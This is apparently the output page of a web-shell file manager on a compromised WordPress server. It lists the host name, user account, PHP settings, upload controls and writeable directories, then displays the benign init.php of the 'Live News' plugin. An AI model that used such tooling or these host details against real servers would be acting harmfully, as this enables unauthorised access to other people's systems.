Server : LiteSpeed
System : Linux server51.dnsbootclub.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : nandedex ( 1060)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/nandedex/www/wp-content/plugins/live-news/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : /home/nandedex/www/wp-content/plugins/live-news/init.php
<?php
/*
Plugin Name: Live News
Description: Real Time News Ticker.
Version: 2.09
Author: DAEXT
Author URI: http://daext.com
*/

//Prevent direct access to this file
if ( ! defined( 'WPINC' ) ) { die(); }

//Class shared across public and admin
require_once( plugin_dir_path( __FILE__ ) . 'shared/class-daln-shared.php' );

//Public
require_once( plugin_dir_path( __FILE__ ) . 'public/class-daln-public.php' );
add_action( 'plugins_loaded', array( 'Daln_Public', 'get_instance' ) );

//Admin
if ( is_admin() && ( ! defined( 'DOING_AJAX' ) || ! DOING_AJAX ) ) {
    
    //Admin
    require_once( plugin_dir_path( __FILE__ ) . 'admin/class-daln-admin.php' );
    add_action( 'plugins_loaded', array( 'Daln_Admin', 'get_instance' ) );
    
    //Activate
    register_activation_hook( __FILE__, array( Daln_Admin::get_instance(), 'ac_activate' ) );
    
}

//Ajax
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
    
    //Admin
    require_once( plugin_dir_path( __FILE__ ) . 'class-daln-ajax.php' );
    add_action( 'plugins_loaded', array( 'Daln_Ajax', 'get_instance' ) );
    
}

F1le Man4ger